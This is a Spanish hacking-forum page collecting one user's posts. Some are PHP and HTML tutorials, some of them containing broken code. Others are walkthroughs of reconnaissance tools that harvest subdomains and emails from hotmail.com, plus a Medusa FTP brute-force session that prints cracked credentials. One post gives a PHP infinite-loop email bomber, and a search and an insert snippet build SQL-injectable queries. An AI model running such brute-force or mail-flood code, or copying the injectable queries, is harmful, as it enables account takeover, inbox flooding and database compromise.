Menú

Mostrar Mensajes

Esta sección te permite ver todos los mensajes escritos por este usuario. Ten en cuenta que sólo puedes ver los mensajes escritos en zonas a las que tienes acceso en este momento.

Mostrar Mensajes Menú

Mensajes - syskc0

#1
Off Topic / Re:Entrevista a ANTRAX
Septiembre 03, 2017, 01:14:29 PM
E-root fue un excelente foro malo que lo ownearon
#2
imposible ya que el javascript se ejcuta en el navegador no en la consola..
#3
saludos a todos los presentes ok esto de la desencriptacion de las wpa/wpa2 wpa-psk es la misma mierda solo se nesecita que el cliente asocie sus datos en la conecion al router te recomiendo estudies primero la arquitectura del router y el operador de estos en tu pais ya que estos manejan posibles clavez ya sea alfa , alfa numericas , simplemente numericas puedes interastuar con otras aplicaciones tales como jhon the ripper LA VERDAD no puedo sacar caracteres en mi blackberry o si le daba ejenplos
#4
Hacking / Goohost
Marzo 31, 2011, 03:24:55 PM
Gooscan es una herramienta que automatiza las consultas en los aparatos de búsqueda de Google,  pero con un toque.  Estas consultas son especialmente  diseñado para encontrar posibles vulnerabilidades en las páginas web.  Piensa "escáner cgi"que  nunca se comunica

directamente con el servidor web de destino, ya que todas las consultas son respondidas por un aparato de Google, no por el propio destino.

Esta guía le mostrará el uso simple de esta herramienta para encontrar subdominios en un host

Uso:
Código: php

root@bt:/pentest/enumeration/google/goohost# ./goohost.sh

[*] goohost v.0.0.1 Beta
[*] Simple script that extracts hosts/subdomains, ip or emails for a specific domain with Google search
[*] Author: watakushi
[*] Thanks to: Johnny Long and GHDB for inspiration stuff
[*] Special thanks to: Danya & Roberto

[*] Usage: ./goohost.sh -t domain.tld [-m  -p <1-20> -v]

[*] -t: target domain. Ex: backtrack.linux.org
[*] -m: method: . Default value is set to host
[*]             host: raw google hosts and subdomains search
[*]             ip: raw google hosts and subdomains search and performs a reverse DNS resolution
[*]             mail:raw google email search
[*] -p: pages [1-20]. Max number of pages to download from Google. Default 5
[*] -v: verbosity. Default is set to off
[*] Example: ./goohost.sh -t backtrack-linux.com -m ip -p 10 -v

root@bt:/pentest/enumeration/google/goohost#

Se trata de cómo realizar un simple  análisis

Código: php

root@bt:/pentest/enumeration/google/goohost# ./goohost.sh -t hotmail.com -m host -p 10

[-] Warning: DNS wildcard detected! With IP method you should have some false positive results.

Results saved in file report-14014-hotmail.com.txt
15 results found!


Opciones usadas
-t: dominio de destino. Ejemplo: No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
-m: método:. El valor por defecto está configurado para albergar
-p: páginas [10-20]. El número máximo de páginas para descargar de Google. Defecto 5

Aquí está mi salida

Código: php


root@bt:/pentest/enumeration/google/goohost# cat report-14014-hotmail.com.txt
gfx1.hotmail.com
gfx2.hotmail.com
gfx3.hotmail.com
gfx4.hotmail.com
gfx5.hotmail.com
gfx6.hotmail.com
gfx7.hotmail.com
gfx8.hotmail.com
gfx9.hotmail.com
graphics.hotmail.com
lc1.law5.hotmail.com
oe.hotmail.com
origin.gfx2.hotmail.com
rsi.hotmail.com
www.hotmail.com
root@bt:/pentest/enumeration/google/goohost#

¿Por qué es útil

Recopilación de información de esta manera es útil porque puede hacer una consulta en Google de la dirección IP en las cuentas de correo de acogida y subdominios este viene muy bien debido a los sub-dominios pueden tener forma de explotación para ayudar a obtener acceso al servidor de dominio principal si se está ejecutando en el mismo servidor y no iframes cuentas de correo electrónico podría ser fuerza bruta o utilizados para la ingeniería social, pero por favor, recuerde que estos son sólo ejemplos
create post : No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
#5
Hacking / Goorecon
Marzo 31, 2011, 03:09:34 PM
Esta es una herramienta simple escrito para la enumeración subdominio y la recolección de  direcciones de correo

Código: php

Goorecon .01
By Carlos Perez
Email: [email protected]

This is a simple tool writen for subdomain enumeration and email gatheri                                                                            ng
during authorized penetration test engaments using Google.
USAGE:
ruby goorecon.rb 
TYPES:

-s        Subdomoin Enumeration
-e        Email gathering


Uso de la herramienta
Código: php

root@bt:/pentest/enumeration/goorecon# ./goorecon.rb -s hotmail.com

or

root@bt:/pentest/enumeration/goorecon# ./goorecon.rb -e hotmail.com


Sub dominio Execucion
Código: php

root@bt:/pentest/enumeration/goorecon# ./goorecon.rb -s hotmail.com
www.hotmail.com.com,64.30.224.112
iniciarsesionhotmail.com,209.239.120.49
gfx6.hotmail.com,2.20.32.235
graphics.hotmail.com,2.20.32.235
gfx8.hotmail.com,2.20.32.235
www.windowslive-hotmail.com,173.203.167.46
freemsnhotmail.com,97.74.180.128
gfx1.hotmail.com,213.120.161.145
gfx1.hotmail.com,213.120.161.193
iranhotmail.com,64.130.221.18
gfx2.hotmail.com,213.120.161.193
gfx2.hotmail.com,213.120.161.145
ilikehotmail.com,209.239.120.49
signuphotmail.com,65.254.248.148
root@bt:/pentest/enumeration/goorecon#
</html>

Email execution
<pre lang="html>
root@bt:/pentest/enumeration/goorecon# ./goorecon.rb  -e hotmail.com
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]

[SNIP]

<h1>create post : No tienes permitido ver los links. Registrarse o Entrar a mi cuenta</h1>
#6
theharvester es una herramienta para la recopilación de cuentas de correo electrónico, nombres de usuario y nombres de host / subdominios de diferentes fuentes públicas. Es una herramienta muy simple, pero muy eficaz.
Las fuentes de apoyo son:

Código: php

root@bt:/pentest/enumeration/google/theharvester# ./theHarvester.py

*************************************
*TheHarvester Ver. 1.6             *
*Coded by Christian Martorella      *
*Edge-Security Research             *
*[email protected]      *
*************************************

Usage: theharvester options

       -d: domain to search or company name
       -b: data source (google,bing,pgp,linkedin)
       -s: start in result number X (default 0)
       -v: verify host name via dns resolution
       -l: limit the number of results to work with(bing goes from 50 to 50 results,
            google 100 to 100, and pgp does'nt use this option)

Examples:./theharvester.py -d microsoft.com -l 500 -b google
         ./theharvester.py -d microsoft.com -b pgp
         ./theharvester.py -d microsoft -l 200 -b linkedin


Código: php

root@bt:/pentest/enumeration/google/theharvester# ./theHarvester.py -d hotmail.com -l 1 -b google

*************************************
*TheHarvester Ver. 1.6             *
*Coded by Christian Martorella      *
*Edge-Security Research             *
*[email protected]      *
*************************************

Searching for hotmail.com in google :
======================================

Limit:  1
Searching results: 0
1
2
3
4
5
6
7
8
9
[SNIP]

Accounts found:
====================

@hotmail.com
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[SNIP]
====================

Total results:  39

Hosts found:
====================

www.hotmail.com
m.hotmail.com
root@bt:/pentest/enumeration/google/theharvester#

create post : No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
#7
Esta guía le mostrará cómo realizar un ftp simple o cualquier otro servicio que es compatible con Medusa para comprobar la debilidad de los datos de acceso
Voy a estar utilizando genlist para recopilar una lista de los ejércitos en vivo que se están ejecutando en la red y han resultado en un archivo txt que Medusa puede utilizar para realizar un ataque de fuerza bruta sobre todas las huestes vivir

voy a empezar con la ruta para encontrar el rango de la red está utilizando

Código: php

syskc0@bt:~# route -n |grep eth1
192.168.1.0     0.0.0.0         255.255.255.0   U     0      0        0 eth1
0.0.0.0         192.168.1.254   0.0.0.0         UG    0      0        0 eth1
syskc0@bt:~#



En el ejemplo anterior en la red que estoy conectado a está utilizando el rango de ip 192.168.1.0 y la

puerta de enlace predeterminada 192.168.1.254, así que analizará toda la máscara de red para los hosts de vivir con genlist

Código: php

syskc0@bt:~# genlist -s  192.168.1.\* > host_c-intruder3s
syskc0@bt:~# cat host_c-intruder3s
192.168.1.67
192.168.1.68
192.168.1.69
192.168.1.77
192.168.1.78
192.168.1.101
192.168.1.254
syskc0@bt:~#


Ahora he obtenido una lista de anfitriones en vivo puedo ir para usar Medusa

Código: php

medusa -v 6 -H host_c-intruder3s -U username.txt  -P pwords.txt  -M ftp


Medusa Opciones

Código: php

-v nivel de detalle seis
H-Lista de Clientes
-U lista Nombre de usuario
-P lista Contraseña
-M FTP tipo de módulo, TELNET, SSH, HTTP, etc


Nota Para este tutorial sólo voy a utilizar una pequeña de usuario / contraseña Lista Para ahorrar tiempo

Mi salida
Código: php

syskc0@bt:~# medusa -v 6 -H host_c-intruder3s -U username.txt  -P pwords.txt  -M ftp |grep "ACCOUNT FOUND"
NOTICE: [ftp.mod] Socket is no longer valid. Server likely dropped connection. Establishing new session.
NOTICE: [ftp.mod] Socket is no longer valid. Server likely dropped connection. Establishing new session.
NOTICE: [ftp.mod] Socket is no longer valid. Server likely dropped connection. Establishing new session.
ACCOUNT FOUND: [ftp] Host: 192.168.1.67 User: zerocold Password: password123 [SUCCESS]
ACCOUNT FOUND: [ftp] Host: 192.168.1.67 User: offsec Password: password [SUCCESS]
NOTICE: [ftp.mod] Socket is no longer valid. Server likely dropped connection. Establishing new session.
NOTICE: [ftp.mod] Socket is no longer valid. Server likely dropped connection. Establishing new session.
NOTICE: [ftp.mod] Socket is no longer valid. Server likely dropped connection. Establishing new session.
NOTICE: [ftp.mod] Socket is no longer valid. Server likely dropped connection. Establishing new session.
ACCOUNT FOUND: [ftp] Host: 192.168.1.68 User: michael Password:jhonadmin [SUCCESS]
ACCOUNT FOUND: [ftp] Host: 192.168.1.77 User: rafael Password: admin123 [SUCCESS]
syskc0@bt:~#


En el ejemplo anterior he utilizado | grep "cuenta que se encuentra" para cortar la mayor parte de la salida, así que sólo reciben los nombres de usuario y contraseñas, pero si yo fuera a hacer esto en el objetivo real no es mi i red doméstica que se ejecuta de forma normal para puedo ver hasta qué punto el ataque está en marcha
#8
Seguridad Wireless / Re:Crackear WPA desde Windows
Febrero 17, 2011, 07:38:20 AM
al usted hablar de estos ataques se refiere a que se demoraran

un ataque
bruteforce single

es probrar caracteres que uno le programe a este por ejemplo 0123456789 entonces el prueba todas las combinaciones hasta no se cuantos digitos
pero si lo haces

brutefoce wordlist
quiere decir que en el cuadrante del archivo que contiene la lista de palabras y no se encuentra no podras hacer nada hay wordlist de 8 Gb chido no despues me la vajo .. creo que podras encontrar lo que quieras con esta ya que si no lo encuentras no creo que lo encuentres solo llenate de wordlist y haz un ataque
#9
Back-end / Pagina fuera de servicio por fechas
Febrero 02, 2011, 06:44:33 PM
bueno se me ocurrio de hacer este pequeño script en php donde digamos que tenemos una pagina pero hay algunos dias que la pagina no se puede mostrar por que nosotros no queremos

Código: php
<?php
//kung fu  syskc0
//c-intrud3rs.com
$day=date("d");
if ($day<=1)
{
   echo '<center><h1>sitio esta activo</h1></center>';
}
else
{
echo "<center><h1>sitio fuera de servicio</h1></center>"; 
}

?>


Los nombres de variables son sensibles a mayúsculas y minúsculas, por lo que si la escribimos en minúscula inicialmente debemos respetar en el resto del programa. En cambio las instrucciones del lenguaje PHP no son sensibles por lo que si deseamos escribir IF o if, las dos formas estarán bien. Los que venimos de otros lenguajes como C, C++, Java tenemos por costumbre escribir las palabras claves en minúsculas, pero esto es solo por costumbre.
La condición del if debe ir obligatoriamente entre paréntesis. Los operadores relacionales disponibles son:

> Mayor
>= Mayor o igual
< Menor
<= Menor o igual
== Igual
!= Distinto

Si la condición se verifica verdadera se ejecuta el primer bloque encerrado entre llaves, en caso de verificarse falsa la condición se ejecuta el bloque entre llaves que le sigue al else.

[/quote]
#10
Back-end / Calculadora by SYSKC0
Febrero 02, 2011, 06:44:03 PM
bueno una calculadora es que no tengo que hacer

lo primero que hacemos es crear el archivo que servira como ingresador de los numeros y las operaciones

Código: html5
<!-- calduladora by syskc0-->
<html>
<head>
<title>CALCULADORA BY SYSKC0</title>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8">
<style type="text/css">
body {
margin-left: 0px;
margin-top: 0px;
margin-right: 0px;
margin-bottom: 0px;
background-color:#000
}
.text1{
font-family:Courier New;
font-size:24px;
color:#F00;
}
select {
font-family: Tahoma, Verdana, Arial;
  font-size: 20px; color: #FFFFFF; background-color: #6699CC; border: #000099; border-style: solid; border-top-width: 1px; border-right-width: 1px; border-bottom-width: 1px; border-left-width: 1px}
input{
font-family: Tahoma, Verdana, Arial;
  font-size: 20px;
  color: #FFFFFF;
  background-color: #060;
  border: #000099;
  border-style: solid;
      border-top-width: 1px;
  border-right-width: 1px;
  border-bottom-width: 1px;
  border-left-width: 1px}
}
#cuadro{
width?390px;
margin:0 auto;
padding:5px;
border:3px solid #0F0;}
</style>
</head>

<body>
<div align="cuadro"><center>
<form name="calculadora" method="post" action="operation.php">
  <p class="text1">calculadora by syskc0</p>
  <p class="text1">
    <label for="data1"></label>
    <input type="text" name="data1" id="data1">
   
    <br><select name="signos">
    <option value="+">+ (suma)</option><br>
    <option value="-">- (resta)</option><br>
    <option value="*">* (multiplicacion)</option><br>
    <option value="/">/ (divicion)</option>
    </select><br>
    <input type="text" name="data2" id="data2">


  <p class="text1">
    <input type="submit" name="enviar" id="enviar" value="Enviar">   
</form></center><div>
</body>
</html>


despues creamos un archivo llamado operation.php que es que se encargara de ejecutar las operaciones

Código: php
<?php
// programing by syskc0
if(!enviar)
{
    echo 'la operacin no se pudo realizar';
}
else{
switch($signos)
{
    case "+":
    $resultdate = $data1 + $data2;
    break;
    case "-":
     $resultdate = $data1 - $data2;
    break;
    case "*":
    $resultdate = $data1 * $data2;
    break;
    case "/":
    $resultdate = $data1 / $data2;
    break;
}
}
echo "<center><H3>El resultado es </H3><H1>$resultdate</H1><br></center>";
?>
<input type=button value=REGRESAR onclick="history.go(-1)">


si copian el code o post pongan los putos greezt
[/quote]
#11
Back-end / Basico email bomber
Febrero 02, 2011, 06:43:24 PM
bueno pensando se ocurre hacer un simple mail bomber jejejeje solo es un bucle


Código: php

<?php
$repeticiones =10;
do {
mail("[email protected]", "Your Subject", "Your Message", "From: [email protected]");
} while ($repeticiones > 0);
?>
#12
mmmm bueno ...

despues de noches y tardes frente a estos aparatos a esperar el metro ocurriencias pensando ...

no puede ser posible que con un simple script php se controle un sistema de estos despues de estar pasando pude ver la caja de que emite estos mensajes ..

puede ser  transmitido de muchas formas un cam .... u una red lam por estacion

si fuera por lam ..
lo que tendriamos que hacer es tener acceso a la red ya sea forma wireless , coger un cable lam poder  atrapar el mensaje y despues cambiarlo con por deseado muchas tecnicas existen ....

tambien sea la forma de controlar un tv de un metro lo mismo atrapar los datos de video y poderlo cambiar por el video que nosotros queremos mostrar o conectar con nuestro movil
#13
yo si decia que si la estava cagando no hay que llenar formulario apenas entras a la pagina te manda unas tablas con la informacion gracias XTEMP lo editare

lo malo de hacerlo en un cybercafe y apuro notepad
#14
bueno me puse bien creativo y me e puesto a dar mis primeros pasos en php algo bueno o malo no lo se
cuando visitante entra a nuestro sitio web enviara un correo a nuestra bandeja msn con ip , puerto , host , puerto host

Código: php
<?php
//email informacion visitante
$email  = '[email protected]';//tu email a donde quieres que llegue el mensaje
$asunto = 'llego informacion de un visitante';//asunto mensaje
$cuerpo = '<center><table width="525" border="1">
  <tr>
    <td colspan="2" align="center"><font color="#FF0000" face="Courier New, Courier, monospace" size="6">pr0gr4m1ng by syskc0</font></td>
  </tr><font color="#0000FF" face="Courier New, Courier, monospace" size="3">
  <tr>
    <td width="224" align="center"> la ip enviado</td>
    <td width="285" align="center"><?php $_SERVER['REMOTE_ADDR']; ?></td>
  </tr>
  <tr>
    <td align="center"><font color="#0000FF" face="Courier New, Courier, monospace" size="3">puerto visitante</font></td>
    <td align="center"><?php $_SERVER['REMOTE_PORT']; ?></td>
  </tr>
  </font><tr>
    <td align="center"><font color="#0000FF" size="3" face="Courier New, Courier, monospace">eviado del puerto</font></td>
    <td align="center"><?php $_SERVER['SERVER_PORT']; ?></td>
  </tr><font color="#0000FF" face="Courier New, Courier, monospace" size="3">
  <tr>
    <td align="center">enviado de</td>
    <td align="center"><?php $_SERVER['REMOTE_HOST']; ?></td>
  </tr>
  <tr>
    <td align="center">fecha hora</td>
    <td align="center"><?php $mysqltime = date ("Y-m-d H:i:s", $phptime); ?></td>
  </tr>
  </font><tr>
    <td colspan="2" align="center"><font color="#0000FF" face="Courier New, Courier, monospace" size="3"><font color="#FF0000" size="6">c-intrud3rs</font></font></td>
  </tr>
 
</table>
<p>&nbsp;</p>
<p>&nbsp;</p></center>
';
$cabeceras  = 'MIME-Version: 1.0' . "\r\n";
$cabeceras .= 'Content-type: text/html; charset=iso-8859-1' . "\r\n";
mail('$email','$asunto','$cuerpo','$cabeceras');
?>
#15
esto es algo complejo para que el usuario no tenga que subir de nuevo con el cursos solo tendria que darle a un boton que le diga up o down muy practico
#16
ok ahora les enseñare como situar un link en una pagina donde uno desee los comandos son

llama el link
Código: php
<a href="#">


respuesta llamada de link
Código: php
<a name="">


si tengo un index entonces seria
Código: php
<a href="#amigos"


Código: php
<a name="amigos"


no importa cuantas palabras amigos haya solo si situara en donde se pone la etiqueta name

les tengo un ejemplo

Código: php
<html>
<head>
<title>link donde quieras ir by syskc0</title>
<style type="text/css">
body{
background-color:#000;
margin-left: 0px;
margin-top: 0px;
margin-right: 0px;
margin-bottom: 0px;
}
.texto1{font-family:"Courier New", Courier, monospace;
color:#F00;
font-size:35px;}
.texto2{font-family:"Courier New", Courier, monospace;
color:#0F0;
font-size:35px;}
</style>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8">
</head>
<body>
<center>
<a name="arriba"></a>
<table width="200">
  <tr>
    <td align="center"><span class="texto1"><a href="#medio">medio</a></span></td>
    <td align="center"><span class="texto2"><a href="#abajo">abajo</a></span></td>
  </tr>
</table><br><span class="texto1">texto arriba</span>
<!-- aqui vajo hasta el centro-->

<br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br>
<a name="medio"></a>
<table width="200">
  <tr>
    <td align="center"><span class="texto1"><a href="#arriba">arriba</a></span></td>
    <td align="center"><span class="texto2"><a href="#abajo">abajo</a></span></td>
  </tr>
</table><br>
<span class="texto1">texto centro</span>
<!-- aqui vajo hasta el avajo-->
<br>
<br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br>
<a name="abajo"></a>
<table width="200">
  <tr>
    <td align="center"><span class="texto1"><a href="#arriba">arriba</a></span></td>
    <td align="center"><span class="texto2"><a href="#medio">medio</a></span></td>
  </tr>
</table>
<span class="texto1">texto abajo</span>
</center>


</body>
</html>
#17
Back-end / Como crear un buscador de palabras
Julio 14, 2010, 11:09:17 AM
Muchas páginas llevan su buscador propia de elementos dentro de la web. Cón este código se puede hacer un buscador senzillo que busca una palabra dentro de una Tabla con muchas noticias y cuando la encuentra las muestra por pantalla.

La palabra o texto a buscar se lo enviamos desde otra página usando una variable que llamaremos $palabra.

FORM ACTION="busca.php>
<INPUT TYPE="TEXT" NAME="palabra">
<INPUT TYPE="SUBMIT" NAME="Buscar">"

Busca.php
< ?
$conexio = mysql_connect("nombre_servidor", "usuario", "contraseña");
mysql_select_db ("nombre_BBDD", $conexio) OR die ("No se puede conectar");

// SQL para la búsqueda
$sql="SELECT * FROM documentos WHERE documento LIKE '%".$palabra."%' ";
$result=mysql_query($sql,$conexio);
// Si hay resultados crea una tabla y los muestra
if ($row= mysql_fetch_array($result))
{
echo "<TABLE BORDER='0'>";
DO
{
echo "$row["documento"]";
}
WHILE ($row=mysql_fetch_array($result));
echo "</TABLE>";
}
mysql_close ($conexio);
?>
#18
Back-end / Insertando datos a una DB
Julio 14, 2010, 11:08:45 AM
Para ingresar Datos a una base de datos desde un form solo tendremos que hacer esto
Código: php
$dbh = mysql_connect("localhost", "userdb", "pass");
mysql_select_db ("tu_db", $dbh);
$sql = "INSERT INTO registros (nombre, apellidos, user, pass, direccion, c_postal, provincia, pais, email, telefono, c_conocido, comentarios)";
$sql .= "VALUES ('$nombre', '$apellidos', '$user', '$pass', '$direccion', '$c_postal', '$provincia', '$pais', '$email', '$telefono', '$c_conocido', '$comentarios')";
$result = mysql_query($sql);
echo "¡Gracias! Hemos recibido sus datos.\n";
}


Eso lo pones en un archivo php con un nombre por ejemplo entradatos.php
entonces en el form en action pones entradatos.php
#19
Back-end / Como mostrar la ip de un usuario
Julio 14, 2010, 11:07:24 AM
 Lo único que utilizaremos es $REMOTE_ADDR esta pequeña variable esta por default en el servidor a si que lo único que tenemos que hacer es lo siguiente:

Código: php
<?
//iniciamos
echo
//agregamos la variable echo para que nos ejecute el romte.
$REMOTE_ADDR
//agregamos la variable y cerramos
?>


Y para que se vea bonito le agregamos una tabla:
Código: php
<table width="21%" border="1" cellspacing="0" cellpadding="0" bordercolor="#000000">
<tr>
<td bordercolor="#FFFFFF" bgcolor="#999999">
<div align="center"><font size="2" face="Verdana, Arial, Helvetica, sans-serif">Tu
ip es:

<?
//iniciamos
echo
//agregamos la variable echo para que nos ejecute el remote.
$REMOTE_ADDR
//agregamos la variable y cerramos
?>
</font></div></td>
</tr>
</table>

Bueno como pueden ver no es nada fuera de lo normal, demasiado fácil es solo utilizar el echo y el $REMOTE_ADDR
#20
Este codigo nos mostrara el tiempo que tarda en ejecutarse una pagina PHP, es ideal para ir optimizando las paginas probando diferentes algoritmos y asi saber cual es mas rapido o tambien simplemente como un "adorno" a nuestra pagina.

El codigo se divide en dos parte, la primera que toma el tiempo actual...

Código: php
<?php
$mtime = microtime();
$mtime = explode(" ",$mtime);
$mtime = $mtime[1] + $mtime[0];
$starttime = $mtime;
;?>


Este codigo va al principio de nuestra pagina PHP y lo que hace basicamente es guardar en la variable $starttime el momento (horario) en que se inicia la ejecucion de la pagina.

Luego del codigo anterior colocamos los demas contenidos de la pagina y al final de la misma agregamos el codigo siguiente...

Código: php
<?php
$mtime = microtime();
$mtime = explode(" ",$mtime);
$mtime = $mtime[1] + $mtime[0];
$endtime = $mtime;
$totaltime = ($endtime - $starttime);
echo "Esta pagina se creo en ".$totaltime." segundos.";
;?>

Bueno aqui lo que se hace es tomar el tiempo y almacenarlo en la variable $endtime para finalmente restarla con la variable anterior $starttime y asi obtener la diferencia, es decir el tiempo que tardo en ejecutarse nuestra pagina PHP.